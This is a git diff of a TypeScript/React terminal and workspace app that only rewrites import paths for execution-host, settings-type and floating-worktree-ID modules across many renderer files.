a/src/renderer/src/components/terminal-pane/pty-connection/pane-connection-context.ts b/src/renderer/src/components/terminal-pane/pty-connection/pane-connection-context.ts index f96f09c9b3f..d408414f719 100644 --- a/src/renderer/src/components/terminal-pane/pty-connection/pane-connection-context.ts +++ b/src/renderer/src/components/terminal-pane/pty-connection/pane-connection-context.ts @@ -2,9 +2,9 @@ import { resolveTerminalPaneOwnerContext } from '../host-state/terminal-pane-own import { useAppStore } from '@/store' import { resolveTerminalWorktreeRoute } from '@/lib/workspace/ownership/terminal-worktree-route' import { parseWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { isEphemeralSetupTerminalWorktreeId } from '../../../../../shared/workspace-setup/ephemeral-setup-terminal-worktree-id' -import { isLocalExecutionHost } from '../../../../../shared/execution-host' +import { isLocalExecutionHost } from '../../../../../shared/execution-host/execution-host' import { settleTerminalPaneRecovery } from '../render-health/recovery/terminal-pane-recovery' import type { ConnectPanePtySession } from './connect-pane-pty-session' diff --git a/src/renderer/src/components/terminal-pane/pty-connection/spawn/disposed-spawn-retention.ts b/src/renderer/src/components/terminal-pane/pty-connection/spawn/disposed-spawn-retention.ts index b64deff9a0c..51d2c142032 100644 --- a/src/renderer/src/components/terminal-pane/pty-connection/spawn/disposed-spawn-retention.ts +++ b/src/renderer/src/components/terminal-pane/pty-connection/spawn/disposed-spawn-retention.ts @@ -1,5 +1,5 @@ import type { AppState } from '@/store/types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { composeWorktreeHostIdentity } from '../../../../../../shared/worktree/host-qualified-identity' import '../../layout/terminal-layout-leaf-traversal' import { collectLayoutLeafIdsInOrder } from '../../../../../../shared/workspace-layout/terminal-topology/terminal-pane-tree' diff --git a/src/renderer/src/components/terminal-pane/pty-connection/startup/cold-restore-resume-startup.ts b/src/renderer/src/components/terminal-pane/pty-connection/startup/cold-restore-resume-startup.ts index b6ea82bdf3b..9ac0747eb67 100644 --- a/src/renderer/src/components/terminal-pane/pty-connection/startup/cold-restore-resume-startup.ts +++ b/src/renderer/src/components/terminal-pane/pty-connection/startup/cold-restore-resume-startup.ts @@ -2,7 +2,7 @@ import { getConnectionIdForWorktreeCopy, getConnectionIdFromState } from '@/lib/workspace/ownership/connection-owner-resolution' -import { normalizeExecutionHostId } from '../../../../../../shared/execution-host' +import { normalizeExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { parseWorkspaceKey } from '../../../../../../shared/workspace/identity/workspace-scope' import { useAppStore } from '@/store/index' import { createNonSecureContextUuid as createBrowserUuid } from '../../../../../../shared/identifiers/non-secure-context-uuid' diff --git a/src/renderer/src/components/terminal-pane/pty-transport/delivery/terminal-hidden-delivery-gate.ts b/src/renderer/src/components/terminal-pane/pty-transport/delivery/terminal-hidden-delivery-gate.ts index ed94cb8901a..e38c54190ed 100644 --- a/src/renderer/src/components/terminal-pane/pty-transport/delivery/terminal-hidden-delivery-gate.ts +++ b/src/renderer/src/components/terminal-pane/pty-transport/delivery/terminal-hidden-delivery-gate.ts @@ -1,5 +1,5 @@ /** Select hidden-delivery authority once at pane/watcher creation; mode-2031 byte-scan versus fact observers cannot change per chunk. Requires main side-effect authority and the gate switch. */ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' // Cache the blocking read once on pre-hydration startup, never per pane bind. let persistedGateFlagCache: boolean | null | undefined diff --git a/src/renderer/src/components/terminal-pane/pty-transport/host-ownership/pty-owner-machine-platform.ts b/src/renderer/src/components/terminal-pane/pty-transport/host-ownership/pty-owner-machine-platform.ts index fdd7bb037dd..abebb77b442 100644 --- a/src/renderer/src/components/terminal-pane/pty-transport/host-ownership/pty-owner-machine-platform.ts +++ b/src/renderer/src/components/terminal-pane/pty-transport/host-ownership/pty-owner-machine-platform.ts @@ -1,4 +1,4 @@ -import { parseExecutionHostId } from '../../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { lastVerifiedRuntimeStatus } from '../../../../../../shared/remote-runtime/host-status/runtime-host-status' import type { AppState } from '@/store/types' import type { PtyTransport } from '../pty-transport-types' diff --git a/src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-connect.ts b/src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-connect.ts index 126a05e4e64..17ae8cdca75 100644 --- a/src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-connect.ts +++ b/src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-connect.ts @@ -1,7 +1,7 @@ import { admitTerminalNoticeLifetime } from '../../provider-notices/terminal-notice-lifetime' import { terminalLaunchFacts } from '../../../../../../shared/agent-session/lifecycle/agent-session-resume' import { readTerminalSpawnDeferral } from '../../../../../../shared/terminal/pty/admission/spawn-admission-contract' -import { isRuntimeOwnedSshTargetId } from '../../../../../../shared/execution-host' +import { isRuntimeOwnedSshTargetId } from '../../../../../../shared/execution-host/execution-host' import { readIpcErrorDetail } from '@/runtime/errors/ipc-error' import { ensurePtyDispatcher } from '../delivery/pty-dispatcher' import { diff --git a/src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport.ts b/src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport.ts index 0da077fb4a4..61d68eb0e13 100644 --- a/src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport.ts +++ b/src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport.ts @@ -1,4 +1,4 @@ -import { getConnectionExecutionHostId } from '../../../../../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { attachIpcPty } from './ipc-pty-attach' import { connectIpcPty } from './ipc-pty-connect' import { createIpcPtySessionHandlers } from './ipc-pty-session-handlers' diff --git a/src/renderer/src/components/terminal-pane/pty-transport/output/terminal-side-effect-facts-handler.ts b/src/renderer/src/components/terminal-pane/pty-transport/output/terminal-side-effect-facts-handler.ts index 7c36954edda..fbaa08c2715 100644 --- a/src/renderer/src/components/terminal-pane/pty-transport/output/terminal-side-effect-facts-handler.ts +++ b/src/renderer/src/components/terminal-pane/pty-transport/output/terminal-side-effect-facts-handler.ts @@ -1,6 +1,6 @@ /** One fact consumer per local-main/SSH PTY, mounted or parked. Never-consumed PTYs drop attention facts; recently unregistered consumers alone open a bounded handoff buffer. */ import type { AgentIdleEdgeMeta } from '../../../../../../shared/terminal/output/terminal-output-side-effects' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { ParsedAgentStatusPayload } from '../../../../../../shared/agent-status/contracts/agent-status-types' import type { TerminalGitHubPRLink } from '../../../../../../shared/terminal/links/terminal-github-pr-link-detector' import type { diff --git a/src/renderer/src/components/terminal-pane/pty-transport/pty-transport-types.ts b/src/renderer/src/components/terminal-pane/pty-transport/pty-transport-types.ts index 9495712f591..a29678f84de 100644 --- a/src/renderer/src/components/terminal-pane/pty-transport/pty-transport-types.ts +++ b/src/renderer/src/components/terminal-pane/pty-transport/pty-transport-types.ts @@ -23,7 +23,7 @@ import type { TerminalInputKind } from '../../../../../shared/terminal/input/ter import type { TerminalOscColorQueryReplyColors } from '../../../../../shared/terminal/protocol/queries/terminal-osc-color-reply' import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent' import type { TerminalPanePlacement } from '../../../../../shared/workspace-layout/terminal-topology/terminal-pane-placement' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { PtyDataMeta } from './delivery/pty-dispatcher' import type { RemoteRuntimeSnapshotOutcome, diff --git a/src/renderer/src/components/terminal-pane/pty-transport/recovery/server-outage/remote-server-outage.ts b/src/renderer/src/components/terminal-pane/pty-transport/recovery/server-outage/remote-server-outage.ts index 0fa5797744d..bb059d8b8ea 100644 --- a/src/renderer/src/components/terminal-pane/pty-transport/recovery/server-outage/remote-server-outage.ts +++ b/src/renderer/src/components/terminal-pane/pty-transport/recovery/server-outage/remote-server-outage.ts @@ -1,7 +1,7 @@ import { selectWorkspaceRuntimeEnvironmentId } from '../../../../../lib/workspace/ownership/workspace-runtime-environment' import { useAppStore } from '@/store/index' import type { AppState } from '@/store/types' -import { toRuntimeExecutionHostId } from '../../../../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../../../../shared/execution-host/execution-host' import { tailscaleHostOfEndpoint } from '../../../../../../../shared/remote-runtime/remote-runtime-tailscale-hint' import { selectExecutionHostDisplayLabel } from '@/runtime/hosts/display/execution-host-display-label' import { runtimeHostConnectionStateForEntry } from '@/runtime/hosts/connections/runtime-host-connection-state' diff --git a/src/renderer/src/components/terminal-pane/pty-transport/recovery/ssh/TerminalSshReconnectOverlay.tsx b/src/renderer/src/components/terminal-pane/pty-transport/recovery/ssh/TerminalSshReconnectOverlay.tsx index f28e1b660f6..ae96fda4863 100644 --- a/src/renderer/src/components/terminal-pane/pty-transport/recovery/ssh/TerminalSshReconnectOverlay.tsx +++ b/src/renderer/src/components/terminal-pane/pty-transport/recovery/ssh/TerminalSshReconnectOverlay.tsx @@ -10,7 +10,7 @@ import type { SshConnectionStatus } from '../../../../../../../shared/remote-run import { toRuntimeExecutionHostId, toSshExecutionHostId -} from '../../../../../../../shared/execution-host' +} from '../../../../../../../shared/execution-host/execution-host' import { translate } from '@/i18n/i18n' import { useTranslate, type Translate } from '@/i18n/use-translate' import { runWorktreeDelete } from '../../../../sidebar/workspace-actions/deletion/delete-worktree-flow' diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/recovery/use-managed-pairing-refused.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/recovery/use-managed-pairing-refused.ts index f99773a606b..d5b56f7f2e8 100644 --- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/recovery/use-managed-pairing-refused.ts +++ b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/recovery/use-managed-pairing-refused.ts @@ -1,4 +1,4 @@ -import { parseExecutionHostId } from '../../../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../../../shared/execution-host/execution-host' import { getOrcadSshDeployment } from '../../../../../../../shared/remote-runtime/host-catalog/runtime-environments' import { workspaceOwnerHostId } from '@/lib/workspace/ownership/workspace-row-owner-host' import { useAppStore } from '@/store/index' diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport.ts index c57fb9c70c5..e7b55725d2a 100644 --- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport.ts +++ b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport.ts @@ -51,7 +51,7 @@ import type { RuntimeCreateAgentSessionResult, RuntimeEnsureAgentSessionResult } from '../../../../../../shared/agent-session/agent-session-host-authority' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { TabActivationIntent } from '../../../../../../shared/workspace-layout/tab-groups/tab-activation-intent' import type { RuntimeMobileSessionTerminalClientTab } from '../../../../../../shared/remote-runtime/session-graph/runtime-mobile-session-tab-contracts' import type { diff --git a/src/renderer/src/components/terminal-pane/quick-commands/TerminalQuickCommandEditorDialog.tsx b/src/renderer/src/components/terminal-pane/quick-commands/TerminalQuickCommandEditorDialog.tsx index 1095dfe7b70..3fc007afa52 100644 --- a/src/renderer/src/components/terminal-pane/quick-commands/TerminalQuickCommandEditorDialog.tsx +++ b/src/renderer/src/components/terminal-pane/quick-commands/TerminalQuickCommandEditorDialog.tsx @@ -1,6 +1,9 @@ import { useAppStore } from '../../../store/index' import { getTerminalQuickCommandHostPromptMaxLength } from '@/lib/terminal/quick-commands/terminal-quick-command-host-prompt-limit' -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import type { TerminalQuickCommand } from '../../../../../shared/terminal/quick-commands/terminal-quick-command-types' import { TerminalQuickCommandDialog } from '@/components/terminal-quick-commands/TerminalQuickCommandDialog' diff --git a/src/renderer/src/components/terminal-pane/quick-commands/TerminalQuickCommandsSubmenu.tsx b/src/renderer/src/components/terminal-pane/quick-commands/TerminalQuickCommandsSubmenu.tsx index f8b22f5e170..810da4e166d 100644 --- a/src/renderer/src/components/terminal-pane/quick-commands/TerminalQuickCommandsSubmenu.tsx +++ b/src/renderer/src/components/terminal-pane/quick-commands/TerminalQuickCommandsSubmenu.tsx @@ -9,7 +9,7 @@ import { DropdownMenuSubTrigger } from '@/components/ui/dropdown-menu' import type { TerminalQuickCommand } from '../../../../../shared/terminal/quick-commands/terminal-quick-command-types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { isTerminalAgentQuickCommand } from '../../../../../shared/terminal/quick-commands/terminal-quick-commands' import { AgentIcon } from '@/components/agent/icons/AgentIcon' import { useTranslate } from '@/i18n/use-translate' diff --git a/src/renderer/src/components/terminal-pane/quick-commands/use-terminal-quick-command-editor.ts b/src/renderer/src/components/terminal-pane/quick-commands/use-terminal-quick-command-editor.ts index c5b8b3f4236..ec35b99169d 100644 --- a/src/renderer/src/components/terminal-pane/quick-commands/use-terminal-quick-command-editor.ts +++ b/src/renderer/src/components/terminal-pane/quick-commands/use-terminal-quick-command-editor.ts @@ -1,7 +1,7 @@ import { useCallback } from 'react' import { useAppStore } from '../../../store' import { useRepoById } from '@/store/repos/use-repository-catalog' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { getRepoIdFromWorktreeId } from '../../../../../shared/worktree/id' import type { TerminalQuickCommand, @@ -9,7 +9,7 @@ import type { } from '../../../../../shared/terminal/quick-commands/terminal-quick-command-types' import { createTerminalQuickCommandDraft } from '@/components/terminal-quick-commands/TerminalQuickCommandDialog' import { getCachedTerminalGroupIdForWorktree } from '../controller/tab-state/terminal-unified-tab-lookup' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { TerminalPaneStoreController } from '../controller/use-terminal-pane-store-bindings' export function useTerminalQuickCommandEditor({ diff --git a/src/renderer/src/components/terminal-pane/render-health/terminal-renderer-policy.ts b/src/renderer/src/components/terminal-pane/render-health/terminal-renderer-policy.ts index 94c7b242afc..7b7eed11067 100644 --- a/src/renderer/src/components/terminal-pane/render-health/terminal-renderer-policy.ts +++ b/src/renderer/src/components/terminal-pane/render-health/terminal-renderer-policy.ts @@ -1,6 +1,6 @@ import { isGeminiTerminalTitle as isGeminiTerminalTitleDefault } from '../../../../../shared/agent-status/title/agent-title-core' import type { AgentType } from '../../../../../shared/agent-status/contracts/agent-status-types' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' export type TerminalGpuAccelerationMode = GlobalSettings['terminalGpuAcceleration'] diff --git a/src/renderer/src/components/terminal-pane/session-fork/terminal-agent-session-fork.ts b/src/renderer/src/components/terminal-pane/session-fork/terminal-agent-session-fork.ts index 4d711d35644..839feaa1828 100644 --- a/src/renderer/src/components/terminal-pane/session-fork/terminal-agent-session-fork.ts +++ b/src/renderer/src/components/terminal-pane/session-fork/terminal-agent-session-fork.ts @@ -6,14 +6,14 @@ import { buildAgentSessionForkPrompt } from '@/lib/agent-session/context/agent-s import { readTerminalContextText } from '@/lib/agent-session/context/terminal-context-text' import { activateAndRevealWorktree } from '@/lib/workspace/activation/worktree-activation' import { resolveOwner } from '@/lib/workspace/ownership/resolve-owner' -import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { useAppStore } from '@/store/index' import { makePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id' import { TUI_AGENT_CONFIG } from '../../../../../shared/agent-launch/catalog/tui-agent-config' import { getForkAgentLaunchPlatform } from './terminal-agent-session-fork-launch-platform' import { slugifyForWorkspaceName } from '../../../../../shared/workspace/naming/workspace-name' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { getLocalProjectExecutionRuntimeContext } from '@/runtime/hosts/preflight/local-preflight-context' import { translate } from '@/i18n/i18n' import { planAgentSessionLaunch } from '@/lib/agent-session/launch/routing/agent-session-launch-plan' diff --git a/src/renderer/src/components/terminal-pane/viewport/take-back-all-from-phone.ts b/src/renderer/src/components/terminal-pane/viewport/take-back-all-from-phone.ts index c1facb9267b..9cab23b56a8 100644 --- a/src/renderer/src/components/terminal-pane/viewport/take-back-all-from-phone.ts +++ b/src/renderer/src/components/terminal-pane/viewport/take-back-all-from-phone.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { getMobileFitOverridePtyIds } from '@/lib/pane-manager/terminal-fit/mobile-fit-overrides' import { getAllDrivers } from '@/lib/pane-manager/mobile-driver-state' import { refitAndRefreshAllTerminalPanes } from '@/lib/pane-manager/pane-manager-registry' diff --git a/src/renderer/src/components/terminal-pane/viewport/terminal-fit-restore.ts b/src/renderer/src/components/terminal-pane/viewport/terminal-fit-restore.ts index b16415c4a26..2af28ceb753 100644 --- a/src/renderer/src/components/terminal-pane/viewport/terminal-fit-restore.ts +++ b/src/renderer/src/components/terminal-pane/viewport/terminal-fit-restore.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { mapWithConcurrency } from '../../../../../shared/concurrency/map-with-concurrency' import { TERMINAL_FIT_RESTORE_DEADLINE_MS } from '../../../../../shared/terminal/viewport/terminal-fit-restore-deadline' import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call' diff --git a/src/renderer/src/components/terminal-workspace-keydown.test.ts b/src/renderer/src/components/terminal-workspace-keydown.test.ts index 2c13d0b2ec0..92408ad3203 100644 --- a/src/renderer/src/components/terminal-workspace-keydown.test.ts +++ b/src/renderer/src/components/terminal-workspace-keydown.test.ts @@ -9,7 +9,7 @@ import '@/components/floating-terminal/workspace/floating-workspace-tab-creation import '@/lib/notifications/terminal-shortcut-capture-notification' import '@/lib/workspace/tabs/workspace-tab-commands' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/workspace/identity/floating-workspace-id' import { ORCA_EDITOR_REQUEST_CMD_SAVE_EVENT, type EditorRequestCmdSaveDetail diff --git a/src/renderer/src/components/terminal-workspace-keydown.ts b/src/renderer/src/components/terminal-workspace-keydown.ts index dd4dbba19fd..ac883ad4653 100644 --- a/src/renderer/src/components/terminal-workspace-keydown.ts +++ b/src/renderer/src/components/terminal-workspace-keydown.ts @@ -20,7 +20,7 @@ import { ensureClientCreationActionAllowed, showClientCreationActionError } from '@/lib/workspace/creation/surface-policy/client-creation-action-error' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/workspace/identity/floating-workspace-id' import { translate } from '@/i18n/i18n' import { getKeybindingContext } from './terminal-workspace-model' import { isAgentTerminalPreviewTarget } from './dashboard/terminal-preview/agent-terminal-preview-target' diff --git a/src/renderer/src/components/terminal/background-terminal-worktree-mount.ts b/src/renderer/src/components/terminal/background-terminal-worktree-mount.ts index 466681cad5c..2ac3a7353f5 100644 --- a/src/renderer/src/components/terminal/background-terminal-worktree-mount.ts +++ b/src/renderer/src/components/terminal/background-terminal-worktree-mount.ts @@ -1,6 +1,6 @@ import { BACKGROUND_MOUNT_TERMINAL_WORKTREE_EVENT } from '@/constants/terminal' import type { BackgroundMountTerminalWorktreeDetail } from '@/constants/terminal' -import { parseExecutionHostId } from '../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../shared/execution-host/execution-host' import { requestSleepingAgentWakeOnMount } from '@/lib/agent-session/resume/sleeping-agent-wake-requests' const pendingMounts = new Map() diff --git a/src/renderer/src/components/use-google-cookie-clear.ts b/src/renderer/src/components/use-google-cookie-clear.ts index 12fbb867327..7bc313b371f 100644 --- a/src/renderer/src/components/use-google-cookie-clear.ts +++ b/src/renderer/src/components/use-google-cookie-clear.ts @@ -1,7 +1,10 @@ import { useEffect, useRef, useState } from 'react' import { toast } from 'sonner' import { useAppStore } from '@/store' -import { parseExecutionHostId, type ExecutionHostId } from '../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../shared/execution-host/execution-host' import { BROWSER_GOOGLE_COOKIE_CLEAR_CAPABILITY } from '../../../shared/browser/runtime/browser-runtime-capabilities' import { useConfirmationDialog } from './confirmation-dialog-context' import { diff --git a/src/renderer/src/components/use-new-linear-issue-projects.ts b/src/renderer/src/components/use-new-linear-issue-projects.ts index f75e28d9191..babfad3d05f 100644 --- a/src/renderer/src/components/use-new-linear-issue-projects.ts +++ b/src/renderer/src/components/use-new-linear-issue-projects.ts @@ -1,5 +1,5 @@ import { useEffect, useState } from 'react' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { LinearProjectSummary } from '../../../shared/linear/project-types' import type { TaskSourceContext } from '../../../shared/work-items/task-source-context' import { defaultScopeSource } from '@/runtime/hosts/selection/default-creation-host' diff --git a/src/renderer/src/components/workspace-cleanup/browse/workspace-cleanup-facet-panel-model.ts b/src/renderer/src/components/workspace-cleanup/browse/workspace-cleanup-facet-panel-model.ts index 981c08f94cd..3fe78fcab8e 100644 --- a/src/renderer/src/components/workspace-cleanup/browse/workspace-cleanup-facet-panel-model.ts +++ b/src/renderer/src/components/workspace-cleanup/browse/workspace-cleanup-facet-panel-model.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { HostedReviewProvider } from '../../../../../shared/source-control/hosted-review/hosted-review-contracts' import type { WorkspaceCleanupFilterState } from '../../../../../shared/workspace-cleanup/workspace-cleanup-filter-model' diff --git a/src/renderer/src/components/workspace-cleanup/candidate-evidence/workspace-cleanup-host-indexes.ts b/src/renderer/src/components/workspace-cleanup/candidate-evidence/workspace-cleanup-host-indexes.ts index ee76b5bedff..f14e81ecf82 100644 --- a/src/renderer/src/components/workspace-cleanup/candidate-evidence/workspace-cleanup-host-indexes.ts +++ b/src/renderer/src/components/workspace-cleanup/candidate-evidence/workspace-cleanup-host-indexes.ts @@ -2,7 +2,7 @@ import { getRepoExecutionHostId, normalizeExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../../shared/repository/repo-types' import type { Worktree } from '../../../../../shared/worktree/types' import type { diff --git a/src/renderer/src/components/workspace-cleanup/candidate-evidence/workspace-cleanup-review-lookup.ts b/src/renderer/src/components/workspace-cleanup/candidate-evidence/workspace-cleanup-review-lookup.ts index 136418890f7..dddbf0f4ebe 100644 --- a/src/renderer/src/components/workspace-cleanup/candidate-evidence/workspace-cleanup-review-lookup.ts +++ b/src/renderer/src/components/workspace-cleanup/candidate-evidence/workspace-cleanup-review-lookup.ts @@ -3,7 +3,7 @@ import { getHostedReviewCacheKey } from '@/store/slices/hosted-review/hosted-rev import type { AppState } from '@/store/types' import { translate } from '@/i18n/i18n' import type { Translate } from '@/i18n/use-translate' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { HostedReviewInfo, HostedReviewProvider diff --git a/src/renderer/src/components/workspace-cleanup/candidate-list/workspace-cleanup-candidate-row.fixture.tsx b/src/renderer/src/components/workspace-cleanup/candidate-list/workspace-cleanup-candidate-row.fixture.tsx index 7e0e594c435..7657b2c7dcf 100644 --- a/src/renderer/src/components/workspace-cleanup/candidate-list/workspace-cleanup-candidate-row.fixture.tsx +++ b/src/renderer/src/components/workspace-cleanup/candidate-list/workspace-cleanup-candidate-row.fixture.tsx @@ -1,6 +1,6 @@ import { defineFixture } from '../../../component-fixtures/component-fixture' import { REPO_COLORS } from '../../../../../shared/repository/appearance/repo-badge-color' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../../shared/repository/repo-types' import type { WorkspaceCleanupCandidate } from '../../../../../shared/workspace-cleanup/workspace-cleanup' import type { WorkspaceCleanupFailure } from '@/store/slices/workspace-cleanup/workspace-cleanup-removal' diff --git a/src/renderer/src/components/workspace-cleanup/query/workspace-cleanup-facets.ts b/src/renderer/src/components/workspace-cleanup/query/workspace-cleanup-facets.ts index c66c97628d1..e5c8b6dec4f 100644 --- a/src/renderer/src/components/workspace-cleanup/query/workspace-cleanup-facets.ts +++ b/src/renderer/src/components/workspace-cleanup/query/workspace-cleanup-facets.ts @@ -1,5 +1,5 @@ import type { LiveAgentWorktreeStatus } from '../../../../../shared/sidebar-list/feed-facts/workspace-activity-facts' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { WorkspaceStatusDefinition } from '../../../../../shared/worktree/types' import { getWorkspaceCleanupCandidateIdentity, diff --git a/src/renderer/src/components/workspace-surface-projection.ts b/src/renderer/src/components/workspace-surface-projection.ts index 1830d26789f..ac720b31750 100644 --- a/src/renderer/src/components/workspace-surface-projection.ts +++ b/src/renderer/src/components/workspace-surface-projection.ts @@ -2,7 +2,7 @@ import { getRepoExecutionHostId, parseExecutionHostId, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import type { FolderWorkspace } from '../../../shared/folder-workspaces/folder-workspace-types' import type { Worktree } from '../../../shared/worktree/types' import { folderWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' diff --git a/src/renderer/src/components/worktree-creation/PendingNativeChatCreation.tsx b/src/renderer/src/components/worktree-creation/PendingNativeChatCreation.tsx index 50472db6956..a452ce99861 100644 --- a/src/renderer/src/components/worktree-creation/PendingNativeChatCreation.tsx +++ b/src/renderer/src/components/worktree-creation/PendingNativeChatCreation.tsx @@ -33,7 +33,7 @@ import { deriveWorktreeSetupSteps } from './worktree-setup-steps' import { useWorktreeCreationClock } from './worktree-creation-clock' import { getRepoMainWorktreeId } from '../../../../shared/worktree/id' import type { NativeChatComposerDraftImage } from '@/components/native-chat/drafts/native-chat-composer-draft-storage' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { usePendingNativeChatOptions } from './use-pending-native-chat-options' const NO_COMMAND_CAUSES = { diff --git a/src/renderer/src/components/worktree-jump/results/use-worktree-jump-palette-filter.ts b/src/renderer/src/components/worktree-jump/results/use-worktree-jump-palette-filter.ts index ced077c8090..2a31f7ca36b 100644 --- a/src/renderer/src/components/worktree-jump/results/use-worktree-jump-palette-filter.ts +++ b/src/renderer/src/components/worktree-jump/results/use-worktree-jump-palette-filter.ts @@ -9,7 +9,7 @@ import { import { getRepoHostIdentity } from '../../../../../shared/repository/repo-host-identity' import { getPaletteWorktreeExecutionHostId } from '@/lib/workspace/search/palette-repo-resolution' import { getHostDisplayLabelOverrides } from '../../../../../shared/execution-host/host-setting-overrides' -import { getSettingsFocusedExecutionHostId } from '../../../../../shared/execution-host' +import { getSettingsFocusedExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { WorktreeJumpPaletteLocalState } from '../state/use-worktree-jump-palette-local-state' import type { WorktreeJumpPaletteStoreState } from '../state/use-worktree-jump-palette-store-state' diff --git a/src/renderer/src/components/worktree-jump/rows/worktree-jump-palette-browser-simulator-rows.tsx b/src/renderer/src/components/worktree-jump/rows/worktree-jump-palette-browser-simulator-rows.tsx index 8a97aae1f06..fa15e6719be 100644 --- a/src/renderer/src/components/worktree-jump/rows/worktree-jump-palette-browser-simulator-rows.tsx +++ b/src/renderer/src/components/worktree-jump/rows/worktree-jump-palette-browser-simulator-rows.tsx @@ -14,7 +14,7 @@ import { import { formatPaletteSessionAge } from '@/components/cmd-j/palette-session-age' import { resolvePaletteRepoForWorktree } from '@/lib/workspace/search/palette-repo-resolution' import { BrowserFavicon } from '@/components/browser-favicon' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' export function WorktreeJumpPaletteSimulatorRow({ entry, diff --git a/src/renderer/src/components/worktree-jump/rows/worktree-jump-palette-project-action-rows.tsx b/src/renderer/src/components/worktree-jump/rows/worktree-jump-palette-project-action-rows.tsx index 88d2f79c550..024a252da90 100644 --- a/src/renderer/src/components/worktree-jump/rows/worktree-jump-palette-project-action-rows.tsx +++ b/src/renderer/src/components/worktree-jump/rows/worktree-jump-palette-project-action-rows.tsx @@ -11,7 +11,7 